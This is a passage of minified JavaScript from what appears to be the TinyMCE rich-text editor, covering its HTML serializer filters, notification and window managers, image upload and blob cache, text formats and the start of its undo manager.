n,r=e[t];r.attr("class")&&(n=r.attr("class").replace(/(?:^|\s)mce-item-\w+(?!\S)/g,""),r.attr("class",0<n.length?n:null))}}),t.addAttributeFilter("data-mce-type",function(e,t,n){for(var r=e.length;r--;){var o=e[r];"bookmark"!==o.attr("data-mce-type")||n.cleanup||(ve.from(o.firstChild).exists(function(e){return!No(e.value)})?o.unwrap():o.remove())}}),t.addNodeFilter("noscript",function(e){for(var t=e.length;t--;){var n=e[t].firstChild;n&&(n.value=Zo.decode(n.value))}}),t.addNodeFilter("script,style",function(e,t){for(var n=function(e){return e.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi,"").replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")},r=e.length;r--;){var o,i=e[r],a=i.firstChild?i.firstChild.value:"";"script"===t?((o=i.attr("type"))&&i.attr("type","mce-no/type"===o?null:o.replace(/^mce\-/,"")),"xhtml"===s.element_format&&0<a.length&&(i.firstChild.value="// <![CDATA[\n"+n(a)+"\n// ]]>")):"xhtml"===s.element_format&&0<a.length&&(i.firstChild.value="\x3c!--\n"+n(a)+"\n--\x3e")}}),t.addNodeFilter("#comment",function(e){for(var t=e.length;t--;){var n=e[t];s.preserve_cdata&&0===n.value.indexOf("[CDATA[")?(n.name="#cdata",n.type=4,n.value=c.decode(n.value.replace(/^\[CDATA\[|\]\]$/g,""))):0===n.value.indexOf("mce:protected ")&&(n.name="#text",n.type=3,n.raw=!0,n.value=unescape(n.value).substr(14))}}),t.addNodeFilter("xml:namespace,input",function(e,t){for(var n=e.length;n--;){var r=e[n];7===r.type?r.remove():1===r.type&&("input"!==t||r.attr("type")||r.attr("type","text"))}}),t.addAttributeFilter("data-mce-type",function(e){Y(e,function(e){"format-caret"===e.attr("data-mce-type")&&(e.isEmpty(t.schema.getNonEmptyElements())?e.remove():e.unwrap())})}),t.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style,data-mce-selected,data-mce-expando,data-mce-type,data-mce-resize,data-mce-placeholder",function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)}),{schema:F,addNodeFilter:U.addNodeFilter,addAttributeFilter:U.addAttributeFilter,serialize:function(e,t){var n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y,C,x,w,S,N,E,k,_,A,R,D,T=_e({format:"html"},t=void 0===t?{}:t),O=(n=(m=e,N=g=T,(d=I)&&d.hasEventListeners("PreProcess")&&!N.no_events?(h=g,x=(p=d).dom,w=m.cloneNode(!0),(S=document.implementation).createHTMLDocument&&(b=S.createHTMLDocument(""),Nt.each("BODY"===w.nodeName?w.childNodes:[w],function(e){b.body.appendChild(b.importNode(e,!0))}),w="BODY"!==w.nodeName?b.body.firstChild:b.body,v=x.doc,x.doc=b),y=p,C=_e(_e({},h),{node:w}),y.fire("PreProcess",C),v&&(x.doc=v),w):m),o=Eo((r=T).getInner?n.innerHTML:M.getOuterHTML(n)),r.selection||Co(Et.fromDom(n))?o:Nt.trim(o)),B=(i=U,a=O,s=(u=T).selection?_e({forced_root_block:!1},u):u,c=i.parse(a,s),!P(f=c.lastChild)||P(l=f.prev)&&(f.remove(),l.remove()),c);function P(e){return e&&"br"===e.name}return"tree"===T.format?B:(E=I,k=T,_=B,D=rm(L,F).serialize(_),k.no_events||!E?D:(A=E,R=_e(_e({},k),{content:D}),A.fire("PostProcess",R).content))},addRules:F.addValidElements,setRules:F.setValidElements,addTempAttr:R(lv,U,e),getTempAttrs:J(e),getNodeFilters:U.getNodeFilters,getAttributeFilters:U.getAttributeFilters}}function dv(e,t){var n=fv(e,t);return{schema:n.schema,addNodeFilter:n.addNodeFilter,addAttributeFilter:n.addAttributeFilter,serialize:n.serialize,addRules:n.addRules,setRules:n.setRules,addTempAttr:n.addTempAttr,getTempAttrs:n.getTempAttrs,getNodeFilters:n.getNodeFilters,getAttributeFilters:n.getAttributeFilters}}function mv(e,t,n){return r=n=void 0===n?{}:n,bh(e).editor.setContent(t,r);var r}function gv(e){return ve.from(e).each(function(e){return e.destroy()})}function pv(e,t){var n,r,o,i,a,u,s,c=(n=e,r=U(Pv,function(e){return Ee(n,e)}),!1!==(o=n.forced_root_block)&&""!==o||r.push("forced_root_block (false only)"),W(r)),l=(s=Nt.makeMap(t.plugins," "),W(Ae(Ae([],U(Lv,g),!0),H(Iv,function(e){return g(e)?[e+" (moving to premium)"]:[]}),!0))),f=0<l.length,d=0<c.length,m="mobile"===t.theme;function g(e){return Ee(s,e)}(f||d||m)&&(i=m?"\n\nThemes:\n- mobile":"",a=f?"\n\nPlugins:\n- "+l.join("\n- "):"",u=d?"\n\nSettings:\n- "+c.join("\n- "):"",console.warn("The following deprecated features are currently enabled, these will be removed in TinyMCE 6.0. See https://www.tiny.cloud/docs/release-notes/6.0-upcoming-changes/ for more information."+i+a+u))}function hv(e){var t=S(e)?e.join(" "):e;return U(A(X(t)?t.split(" "):[],Je),function(e){return 0<e.length})}function vv(e,t){return Ee(e.sections(),t)}function bv(e,t){return ue(e,"toolbar_mode").orThunk(function(){return ue(e,"toolbar_drawer").map(function(e){return!1===e?"wrap":e})}).getOr(t)}function yv(e,t,n,r){var o,i,a,u,s,c,l,f,d=hv(n.forced_plugins),m=hv(r.plugins),g=vv(o=t,"mobile")?o.sections().mobile:{},p=g.plugins?hv(g.plugins):m,h=(i=(u=t,s=m,c=p,(a=e)&&(0,f=(l=u).sections(),vv(l,"mobile")&&"mobile"===f.mobile.theme)?U(c,R(T,Hv)):a&&vv(u,"mobile")?c:s),[].concat(hv(d)).concat(hv(i)));if(xt.browser.isIE()&&T(h,"rtc"))throw new Error("RTC plugin is not supported on IE 11.");return Nt.extend(r,{plugins:h.join(" ")})}function Cv(e,t,n,r,o){var i,a,u,s,c,l,f,d,m=e?{mobile:(i=t,a={resize:!1,toolbar_mode:bv(o.mobile||{},"scrolling"),toolbar_sticky:!1},_e(_e(_e({},jv),a),i?{menubar:!1}:{}))}:{},g=(c=["mobile"],ie(Bv(m,o),function(e,t){return T(c,t)},oe(l={}),oe(f={})),{sections:J((d={t:l,f:f}).t),settings:J(d.f)}),p=Nt.extend(n,r,g.settings(),e&&vv(g,"mobile")?function(e){void 0===e&&(e={});var t=ue(g.sections(),"mobile").getOr({});return Nt.extend({},e,t)}():{},{validate:!0,external_plugins:(u=r,s=g.settings().external_plugins||{},u&&u.external_plugins?Nt.extend({},u.external_plugins,s):s)});return yv(e,g,r,p)}function xv(e,t,n){return ve.from(t.settings[n]).filter(e)}function wv(e,t){return t.dom[e]}function Sv(e,t){return parseInt(wn(t,e),10)}function Nv(e,t,n){var r,o,i,a,u,s,c=Et.fromDom(e.getBody()),l=e.inline?c:Et.fromDom(Dt(c).dom.documentElement),f=(r=e.inline,i=t,a=n,u=(o=l).dom.getBoundingClientRect(),{x:i-(r?u.left+o.dom.clientLeft+Kv(o):0),y:a-(r?u.top+o.dom.clientTop+Wv(o):0)}),d=f.x,m=f.y,g=qv(s=l),p=$v(s);return 0<=d&&0<=m&&d<=g&&m<=p}function Ev(o){function i(){var e=o.theme;return e&&e.getNotificationManagerImpl?e.getNotificationManagerImpl():{open:t,close:t,reposition:t,getArgs:t};function t(){throw new Error("Theme did not provide a NotificationManager implementation.")}}function a(){return ve.from(c[0])}function u(){0<c.length&&i().reposition(c)}function s(t){z(c,function(e){return e===t}).each(function(e){c.splice(e,1)})}function t(n,e){if(void 0===e&&(e=!0),!o.removed&&(r=(t=o).inline?t.getBody():t.getContentAreaContainer(),ve.from(r).map(Et.fromDom).map(Mn).getOr(!1)))return e&&o.fire("BeforeOpenNotification",{notification:n}),M(c,function(e){return!((t=i().getArgs(e)).type!==n.type||t.text!==n.text||t.progressBar||t.timeout||n.progressBar||n.timeout);var t}).getOrThunk(function(){o.editorManager.setActive(o);var e=i().open(n,function(){s(e),u(),a().fold(function(){return o.focus()},function(e){return Et.fromDom(e.getEl()).dom.focus()})});return c.push(e),u(),o.fire("OpenNotification",{notification:_e({},e)}),e});var t,r}var n,c=[],e=J(c);return(n=o).on("SkinLoaded",function(){var e=n.getParam("service_message");e&&t({text:e,type:"warning",timeout:0},!1),u()}),n.on("show ResizeEditor ResizeWindow NodeChange",function(){Ar.requestAnimationFrame(u)}),n.on("remove",function(){Y(c.slice(),function(e){i().close(e)})}),{open:t,close:function(){a().each(function(e){i().close(e),s(e),u()})},getNotifications:e}}iv.findEndTag=ov;var kv,_v,Av=Nt.makeMap,Rv=Nt.each,Dv=Nt.explode,Tv=Nt.extend,Ov=eu.DOM,Bv=(kv=function(e,t){return h(e)&&h(t)?Bv(e,t):t},function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var o,i=e[r];for(o in i)Ee(i,o)&&(n[o]=kv(n[o],i[o]))}return n}),Pv="autoresize_on_init,content_editable_state,convert_fonts_to_spans,inline_styles,padd_empty_with_br,block_elements,boolean_attributes,editor_deselector,editor_selector,elements,file_browser_callback_types,filepicker_validator_handler,force_hex_style_colors,force_p_newlines,gecko_spellcheck,images_dataimg_filter,media_scripts,mode,move_caret_before_on_enter_elements,non_empty_elements,self_closing_elements,short_ended_elements,special,spellchecker_select_languages,spellchecker_whitelist,tab_focus,table_responsive_width,text_block_elements,text_inline_elements,toolbar_drawer,types,validate,whitespace_elements,paste_word_valid_elements,paste_retain_style_properties,paste_convert_word_fake_lists".split(","),Lv="bbcode,colorpicker,contextmenu,fullpage,legacyoutput,spellchecker,textcolor".split(","),Iv="imagetools,toc".split(","),Mv=dt().deviceType,Fv=Mv.isTouch(),Uv=Mv.isPhone(),zv=Mv.isTablet(),Hv=["lists","autolink","autosave"],jv={table_grid:!1,object_resizing:!1,resize:!1},Vv=(_v={},{add:function(e,t){_v[e]=t},get:function(e){return _v[e]||{icons:{}}},has:function(e){return Ee(_v,e)}}),qv=R(wv,"clientWidth"),$v=R(wv,"clientHeight"),Wv=R(Sv,"margin-top"),Kv=R(Sv,"margin-left"),Xv=fu.PluginManager,Yv=fu.ThemeManager;function Gv(r){function o(){var e=r.theme;return e&&e.getWindowManagerImpl?e.getWindowManagerImpl():{open:t,openUrl:t,alert:t,confirm:t,close:t,getParams:t,setParams:t};function t(){throw new Error("Theme did not provide a WindowManager implementation.")}}function i(n,r){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return r?r.apply(n,e):void 0}}function n(t){r.fire("CloseWindow",{dialog:t}),0===(u=U(u,function(e){return e!==t})).length&&r.focus()}function a(e){r.editorManager.setActive(r),dd(r);var t,n=e();return t=n,u.push(t),r.fire("OpenWindow",{dialog:t}),n}var u=[];return r.on("remove",function(){Y(u,function(e){o().close(e)})}),{open:function(e,t){return a(function(){return o().open(e,t,n)})},openUrl:function(e){return a(function(){return o().openUrl(e,n)})},alert:function(e,t,n){var r=o();r.alert(e,i(n||r,t))},confirm:function(e,t,n){var r=o();r.confirm(e,i(n||r,t))},close:function(){ve.from(u[u.length-1]).each(function(e){o().close(e),n(e)})}}}function Jv(e,t){e.notificationManager.open({type:"error",text:t})}function Qv(e,t){e._skinLoaded?Jv(e,t):e.on("SkinLoaded",function(){Jv(e,t)})}function Zv(e,t,n){Cf(e,t,{message:n}),console.error(n)}function eb(e,t,n){return n?"Failed to load "+e+": "+n+" from url "+t:"Failed to load "+e+" url: "+t}function tb(e,t,n){Zv(e,"PluginLoadError",eb("plugin",t,n))}function nb(e){var t,n;e.contentCSS=e.contentCSS.concat(Ey(e,(n=(t=e).getParam("content_css"),X(n)?A(n.split(","),Je):S(n)?n:!1===n||t.inline?[]:["default"])),Ey(e,Bs(e)))}function rb(){function n(e,t){return{status:e,resultUri:t}}function t(e){return e in r}var r={};return{hasBlobUri:t,getResultUri:function(e){var t=r[e];return t?t.resultUri:null},isPending:function(e){return!!t(e)&&1===r[e].status},isUploaded:function(e){return!!t(e)&&2===r[e].status},markPending:function(e){r[e]=n(1,null)},markUploaded:function(e,t){r[e]=n(2,t)},removeFailed:function(e){delete r[e]},destroy:function(){r={}}}}function ob(e){return e+ky+++("s"+(new Date).getTime().toString(36)+t()+t()+t());function t(){return Math.round(4294967295*Math.random()).toString(36)}}function ib(){function e(e){return M(n,e).getOrUndefined()}function i(e){if(!e.blob||!e.base64)throw new Error("blob and base64 representations of the image are required for BlobInfo to be created");var t=e.id||ob("blobid"),n=e.name||t,r=e.blob;return{id:J(t),name:J(n),filename:J(e.filename||n+"."+({"image/jpeg":"jpg","image/jpg":"jpg","image/gif":"gif","image/png":"png","image/apng":"apng","image/avif":"avif","image/svg+xml":"svg","image/webp":"webp","image/bmp":"bmp","image/tiff":"tiff"}[r.type.toLowerCase()]||"dat")),blob:J(r),base64:J(e.base64),blobUri:J(e.blobUri||URL.createObjectURL(r)),uri:J(e.uri)}}function t(t){return e(function(e){return e.id()===t})}var n=[];return{create:function(e,t,n,r,o){if(X(e))return i({id:e,name:r,filename:o,blob:t,base64:n});if(h(e))return i(e);throw new Error("Unknown input type")},add:function(e){t(e.id())||n.push(e)},get:t,getByUri:function(t){return e(function(e){return e.blobUri()===t})},getByData:function(t,n){return e(function(e){return e.base64()===t&&e.blob().type===n})},findFirst:e,removeByUri:function(t){n=U(n,function(e){return e.blobUri()!==t||void URL.revokeObjectURL(e.blobUri())})},destroy:function(){Y(n,function(e){URL.revokeObjectURL(e.blobUri())}),n=[]}}}function ab(u,s){function o(e,r,o,t){var i=new XMLHttpRequest;i.open("POST",s.url),i.withCredentials=s.credentials,i.upload.onprogress=function(e){t(e.loaded/e.total*100)},i.onerror=function(){o("Image upload failed due to a XHR Transport error. Code: "+i.status)},i.onload=function(){var e,t,n;i.status<200||300<=i.status?o("HTTP Error: "+i.status):(e=JSON.parse(i.responseText))&&"string"==typeof e.location?r((t=s.basePath,n=e.location,t?t.replace(/\/$/,"")+"/"+n.replace(/^\//,""):n)):o("Invalid JSON: "+i.responseText)};var n=new FormData;n.append("file",e.blob(),e.filename()),i.send(n)}function c(e,t){return{url:t,blobInfo:e,status:!0}}function l(e,t,n){return{url:"",blobInfo:e,status:!1,error:{message:t,options:n}}}function f(e,t){Nt.each(d[e],function(e){e(t)}),delete d[e]}var d={};return!1===y(s.handler)&&(s.handler=o),{upload:function(e,t){return s.url||s.handler!==o?(n=e,r=t,n=Nt.grep(e,function(e){return!u.isUploaded(e.blobUri())}),_r.all(Nt.map(n,function(e){return u.isPending(e.blobUri())?(n=e.blobUri(),new _r(function(e){d[n]=d[n]||[],d[n].push(e)})):(i=e,t=s.handler,a=r,u.markPending(i.blobUri()),new _r(function(r){var n;try{var o=function(){n&&n.close()};t(i,function(e){o(),u.markUploaded(i.blobUri(),e),f(i.blobUri(),c(i,e)),r(c(i,e))},function(e,t){var n=t||{};o(),u.removeFailed(i.blobUri()),f(i.blobUri(),l(i,e,n)),r(l(i,e,n))},function(t){t<0||100<t||ve.from(n).orThunk(function(){return ve.from(a).map(C)}).each(function(e){(n=e).progressBar.value(t)})})}catch(e){r(l(i,e.message,{}))}}));var i,t,a,n}))):new _r(function(e){e([])});var n,r}}}function ub(e){return function(){return e.notificationManager.open({text:e.translate("Image uploading..."),type:"info",timeout:-1,progressBar:!0})}}function sb(e,t){return ab(t,{url:e.getParam("images_upload_url","","string"),basePath:e.getParam("images_upload_base_path","","string"),credentials:e.getParam("images_upload_credentials",!1,"boolean"),handler:e.getParam("images_upload_handler",null,"function")})}function cb(l){function t(t){return function(e){return l.selection?t(e):[]}}function r(e,t,n){for(var r=0;-1!==(r=e.indexOf(t,r))&&(e=e.substring(0,r)+n+e.substr(r+t.length),r+=n.length-t.length+1),-1!==r;);return e}function o(e,t,n){return e=r(e,'src="'+t+'"','src="'+n+'"'+(n===xt.transparentSrc?' data-mce-placeholder="1"':"")),r(e,'data-mce-src="'+t+'"','data-mce-src="'+n+'"')}function f(t,n){Y(l.undoManager.data,function(e){"fragmented"===e.type?e.fragments=A(e.fragments,function(e){return o(e,t,n)}):e.content=o(e.content,t,n)})}function n(n){return u=u||sb(l,g),v().then(t(function(c){var e=A(c,function(e){return e.blobInfo});return u.upload(e,ub(l)).then(t(function(e){var s=[],t=A(e,function(e,t){var n,r,o,i,a=c[t].blobInfo,u=c[t].image;return e.status&&l.getParam("images_replace_blob_uris",!0,"boolean")?(m.removeByUri(u.src),hh(l)||(r=u,o=e.url,i=l.convertURL(o,"src"),f(r.src,o),l.$(r).attr({src:l.getParam("images_reuse_filename",!1,"boolean")?o+(-1===o.indexOf("?")?"?":"&")+(new Date).getTime():o,"data-mce-src":i}))):e.error&&(e.error.options.remove&&(f(u.getAttribute("src"),xt.transparentSrc),s.push(u)),n=e.error.message,Qv(l,lu.translate(["Failed to upload image: {0}",n]))),{element:u,status:e.status,uploadUri:e.url,blobInfo:a}});return 0<t.length&&h.fireIfChanged(),0<s.length&&(hh(l)?console.error("Removing images on failed uploads is currently unsupported for RTC"):l.undoManager.transact(function(){Y(s,function(e){l.dom.remove(e),m.removeByUri(e.src)})})),n&&n(t),t}))}))}function e(e){if(As(l))return n(e)}function i(t){return!1!==j(p,function(e){return e(t)})&&(0!==t.getAttribute("src").indexOf("data:")||l.getParam("images_dataimg_filter",w,"function")(t))}function a(e){return e.replace(/src="(blob:[^"]+)"/g,function(e,n){var t=g.getResultUri(n);if(t)return'src="'+t+'"';var r=(r=m.getByUri(n))||L(l.editorManager.get(),function(e,t){return e||t.editorUpload&&t.editorUpload.blobCache.getByUri(n)},null);return r?'src="data:'+r.blob().type+";base64,"+r.base64()+'"':e})}var u,s,c,d,m=ib(),g=rb(),p=[],h=(d=au(null),(c=l).on("change AddUndo",function(e){d.set(_e({},e.level))}),{fireIfChanged:function(){var t=c.undoManager.data;Z(t).filter(function(e){return!fh(d.get(),e)}).each(function(e){c.setDirty(!0),c.fire("change",{level:e,lastLevel:G(t,t.length-2).getOrNull()})})}}),v=function(){return(s=s||qh(g,m)).findAll(l.getBody(),i).then(t(function(e){return e=U(e,function(e){return"string"!=typeof e||void Qv(l,e)}),hh(l)||Y(e,function(e){f(e.image.src,e.blobInfo.blobUri()),e.image.src=e.blobInfo.blobUri(),e.image.removeAttribute("data-mce-src")}),e}))};return l.on("SetContent",function(){(As(l)?e:v)()}),l.on("RawSaveContent",function(e){e.content=a(e.content)}),l.on("GetContent",function(e){e.source_view||"raw"===e.format||"tree"===e.format||(e.content=a(e.content))}),l.on("PostRender",function(){l.parser.addNodeFilter("img",function(e){Y(e,function(e){var t,n=e.attr("src");m.getByUri(n)||(t=g.getResultUri(n))&&e.attr("src",t)})})}),{blobCache:m,addFilter:function(e){p.push(e)},uploadImages:n,uploadImagesAuto:e,scanForImages:v,destroy:function(){m.destroy(),g.destroy(),s=u=null}}}function lb(e,t){function m(e){o="string"==typeof e?{name:e,classes:[],attrs:{}}:e;var t,n=Ay.create(o.name),r=n;return(t=o).classes.length&&Ay.addClass(r,t.classes.join(" ")),Ay.setAttribs(r,t.attrs),n}var n,o,r,g=t&&t.schema||oo({}),p=function(n,e,t){var r,o,i,a,u,s,c,l=0<e.length&&e[0],f=l&&l.name,d=(a=f,u="string"!=typeof(i=n)?i.nodeName.toLowerCase():i,!(!(c=(s=g.getElementRule(u))&&s.parentsRequired)||!c.length)&&(a&&-1!==Nt.inArray(c,a)?a:c[0]));if(d)f===d?(o=e[0],e=e.slice(1)):o=d;else if(l)o=e[0],e=e.slice(1);else if(!t)return n;return o&&(r=m(o)).appendChild(n),t&&(r||(r=Ay.create("div")).appendChild(n),Nt.each(t,function(e){var t=m(e);r.insertBefore(t,n)})),p(r,e,o&&o.siblings)};return e&&e.length?(n=m(o=e[0]),(r=Ay.create("div")).appendChild(p(n,e.slice(1),o.siblings)),r):""}function fb(e){var t,a={classes:[],attrs:{}};return"*"!==(e=a.selector=Nt.trim(e))&&(t=e.replace(/(?:([#\.]|::?)([\w\-]+)|(\[)([^\]]+)\]?)/g,function(e,t,n,r,o){switch(t){case"#":a.attrs.id=n;break;case".":a.classes.push(n);break;case":":-1!==Nt.inArray("checked disabled enabled read-only required".split(" "),n)&&(a.attrs[n]=n)}var i;return"["!==r||(i=o.match(/([\w\-]+)(?:\=\"([^\"]+))?/))&&(a.attrs[i[1]]=i[2]),""})),a.name=t||"div",a}function db(n,e){var r,t,o="",i=(t=n.getParam("preview_styles","font-family font-size font-weight font-style text-decoration text-transform color background-color border border-radius outline text-shadow"),X(t)?t:"");if(""===i)return"";function a(e){return e.replace(/%(\w+)/g,"")}if("string"==typeof e){if(!(e=n.formatter.get(e)))return;e=e[0]}if("preview"in e){var u=ue(e,"preview");if(fn(u,!1))return"";i=u.getOr(i)}var s,c=e.block||e.inline||"span",l=(s=e.selector)&&"string"==typeof s?(s=(s=s.split(/\s*,\s*/)[0]).replace(/\s*(~\+|~|\+|>)\s*/g,"$1"),Nt.map(s.split(/(?:>|\s+(?![^\[\]]+\]))/),function(e){var t=Nt.map(e.split(/(?:~\+|~|\+)/),fb),n=t.pop();return t.length&&(n.siblings=t),n}).reverse()):[],f=l.length?(l[0].name||(l[0].name=c),c=e.selector,lb(l,n)):lb([c],n),d=Ay.select(c,f)[0]||f.firstChild;return _y(e.styles,function(e,t){var n=a(e);n&&Ay.setStyle(d,t,n)}),_y(e.attributes,function(e,t){var n=a(e);n&&Ay.setAttrib(d,t,n)}),_y(e.classes,function(e){var t=a(e);Ay.hasClass(d,t)||Ay.addClass(d,t)}),n.fire("PreviewFormats"),Ay.setStyles(f,{position:"absolute",left:-65535}),n.getBody().appendChild(f),r=Ay.getStyle(n.getBody(),"fontSize",!0),r=/px$/.test(r)?parseInt(r,10):0,_y(i.split(" "),function(e){var t=Ay.getStyle(d,e,!0);if(!("background-color"===e&&/transparent|rgba\s*\([^)]+,\s*0\)/.test(t)&&(t=Ay.getStyle(n.getBody(),e,!0),"#ffffff"===Ay.toHex(t).toLowerCase())||"color"===e&&"#000000"===Ay.toHex(t).toLowerCase())){if("font-size"===e&&/em|%$/.test(t)){if(0===r)return;t=parseFloat(t)/(/%$/.test(t)?100:1)*r+"px"}"border"===e&&t&&(o+="padding:0 2px;"),o+=e+":"+t+";"}}),n.fire("AfterPreviewFormats"),Ay.remove(f),o}function mb(c){var e,r,t,n,o,i,a=(n={},(o=function(e,t){e&&(X(e)?(Y(t=!S(t)?[t]:t,function(e){b(e.deep)&&(e.deep=!gl(e)),b(e.split)&&(e.split=!gl(e)||pl(e)),b(e.remove)&&gl(e)&&!pl(e)&&(e.remove="none"),gl(e)&&pl(e)&&(e.mixed=!0,e.block_expand=!0),X(e.classes)&&(e.classes=e.classes.split(/\s+/))}),n[e]=t):ne(e,function(e,t){o(t,e)}))})((r=(e=c).dom,t={valigntop:[{selector:"td,th",styles:{verticalAlign:"top"}}],valignmiddle:[{selector:"td,th",styles:{verticalAlign:"middle"}}],valignbottom:[{selector:"td,th",styles:{verticalAlign:"bottom"}}],alignleft:[{selector:"figure.image",collapsed:!1,classes:"align-left",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"left"},inherit:!1,preview:!1,defaultBlock:"div"},{selector:"img,table,audio,video",collapsed:!1,styles:{float:"left"},preview:"font-family font-size"}],aligncenter:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"center"},inherit:!1,preview:"font-family font-size",defaultBlock:"div"},{selector:"figure.image",collapsed:!1,classes:"align-center",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"img,audio,video",collapsed:!1,styles:{display:"block",marginLeft:"auto",marginRight:"auto"},preview:!1},{selector:"table",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto"},preview:"font-family font-size"}],alignright:[{selector:"figure.image",collapsed:!1,classes:"align-right",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"right"},inherit:!1,preview:"font-family font-size",defaultBlock:"div"},{selector:"img,table,audio,video",collapsed:!1,styles:{float:"right"},preview:"font-family font-size"}],alignjustify:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"justify"},inherit:!1,defaultBlock:"div",preview:"font-family font-size"}],bold:[{inline:"strong",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all",preserve_attributes:["class","style"]}],italic:[{inline:"em",remove:"all",preserve_attributes:["class","style"]},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all",preserve_attributes:["class","style"]}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:!0},{inline:"u",remove:"all",preserve_attributes:["class","style"]}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:!0},{inline:"strike",remove:"all",preserve_attributes:["class","style"]},{inline:"s",remove:"all",preserve_attributes:["class","style"]}],forecolor:{inline:"span",styles:{color:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},fontname:{inline:"span",toggle:!1,styles:{fontFamily:"%value"},clear_child_styles:!0},fontsize:{inline:"span",toggle:!1,styles:{fontSize:"%value"},clear_child_styles:!0},lineheight:{selector:"h1,h2,h3,h4,h5,h6,p,li,td,th,div",defaultBlock:"p",styles:{lineHeight:"%value"}},fontsize_class:{inline:"span",attributes:{class:"%value"}},blockquote:{block:"blockquote",wrapper:!0,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},code:{inline:"code"},link:{inline:"a",selector:"a",remove:"all",split:!0,deep:!0,onmatch:function(e,t,n){return Hn(e)&&e.hasAttribute("href")},onformat:function(n,e,t){Nt.each(t,function(e,t){r.setAttrib(n,t,e)})}},lang:{inline:"span",clear_child_styles:!0,remove_similar:!0,attributes:{lang:"%value","data-mce-lang":function(e){var t;return null!==(t=null==e?void 0:e.customValue)&&void 0!==t?t:null}}},removeformat:[{selector:"b,strong,em,i,font,u,strike,s,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins,small",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0},{selector:"span",attributes:["style","class"],remove:"empty",split:!0,expand:!1,deep:!0},{selector:"*",attributes:["style","class"],split:!1,expand:!1,deep:!0}]},Nt.each("p h1 h2 h3 h4 h5 h6 div address pre dt dd samp".split(/\s/),function(e){t[e]={block:e,remove:"all"}}),t)),o(e.getParam("formats")),{get:function(e){return V(e)?n[e]:n},has:function(e){return Ee(n,e)},register:o,unregister:function(e){return e&&n[e]&&delete n[e],n}}),l=au(null);return function(e){e.addShortcut("meta+b","","Bold"),e.addShortcut("meta+i","","Italic"),e.addShortcut("meta+u","","Underline");for(var t=1;t<=6;t++)e.addShortcut("access+"+t,"",["FormatBlock",!1,"h"+t]);e.addShortcut("access+7","",["FormatBlock",!1,"p"]),e.addShortcut("access+8","",["FormatBlock",!1,"div"]),e.addShortcut("access+9","",["FormatBlock",!1,"address"])}(c),(i=c).on("mouseup keydown",function(e){var t=i,n=e.keyCode,r=t.selection,o=t.getBody();Hg(t,null,!1),8!==n&&46!==n||!r.isCollapsed()||r.getStart().innerHTML!==Cp||Hg(t,qc(o,r.getStart())),37!==n&&39!==n||Hg(t,qc(o,r.getStart()))}),{get:a.get,has:a.has,register:a.register,unregister:a.unregister,apply:function(e,t,n){var r=e,o=t,i=n;yh(c).formatter.apply(r,o,i)},remove:function(e,t,n,r){var o=e,i=t,a=n,u=r;yh(c).formatter.remove(o,i,a,u)},toggle:function(e,t,n){var r=e,o=t,i=n;yh(c).formatter.toggle(r,o,i)},match:function(e,t,n,r){return o=e,i=t,a=n,u=r,yh(c).formatter.match(o,i,a,u);var o,i,a,u},closest:function(e){return t=e,yh(c).formatter.closest(t);var t},matchAll:function(e,t){return n=e,r=t,yh(c).formatter.matchAll(n,r);var n,r},matchNode:function(e,t,n,r){return o=e,i=t,a=n,u=r,yh(c).formatter.matchNode(o,i,a,u);var o,i,a,u},canApply:function(e){return t=e,yh(c).formatter.canApply(t);var t},formatChanged:function(e,t,n,r){return o=l,i=e,a=t,u=n,s=r,yh(c).formatter.formatChanged(o,i,a,u,s);var o,i,a,u,s},getCssText:R(db,c)}}function gb(e){switch(e.toLowerCase()){case"undo":case"redo":case"mcerepaint":case"mcefocus":return 1;default:return}}function pb(s){var e,n,r,o,i,c=du(),l=au(0),f=au(0),d={data:[],typing:!1,beforeChange:function(){var e=l,t=c;yh(s).undoManager.beforeChange(e,t)},add:function(e,t){return n=d,r=f,o=l,i=c,a=e,u=t,yh(s).undoManager.add(n,r,o,i,a,u);var n,r,o,i,a,u},undo:function(){return e=d,t=l,n=f,yh(s).undoManager.undo(e,t,n);var e,t,n},redo:function(){return e=f,t=d.data,yh(s).undoManager.redo(e,t);var e,t},clear:function(){var e=d,t=f;yh(s).undoManager.clear(e,t)},reset:function(){var e=d;yh(s).undoManager.reset(e)},hasUndo:function(){return e=d,t=f,yh(s).undoManager.hasUndo(e,t);var e,t},hasRedo:function(){return e=d,t=f,yh(s).undoManager.hasRedo(e,t);var e,t},transact:function(e){return t=d,n=l,r=e,yh(s).undoManager.transact(t,n,r);var t,n,r},ignore:function(e){var 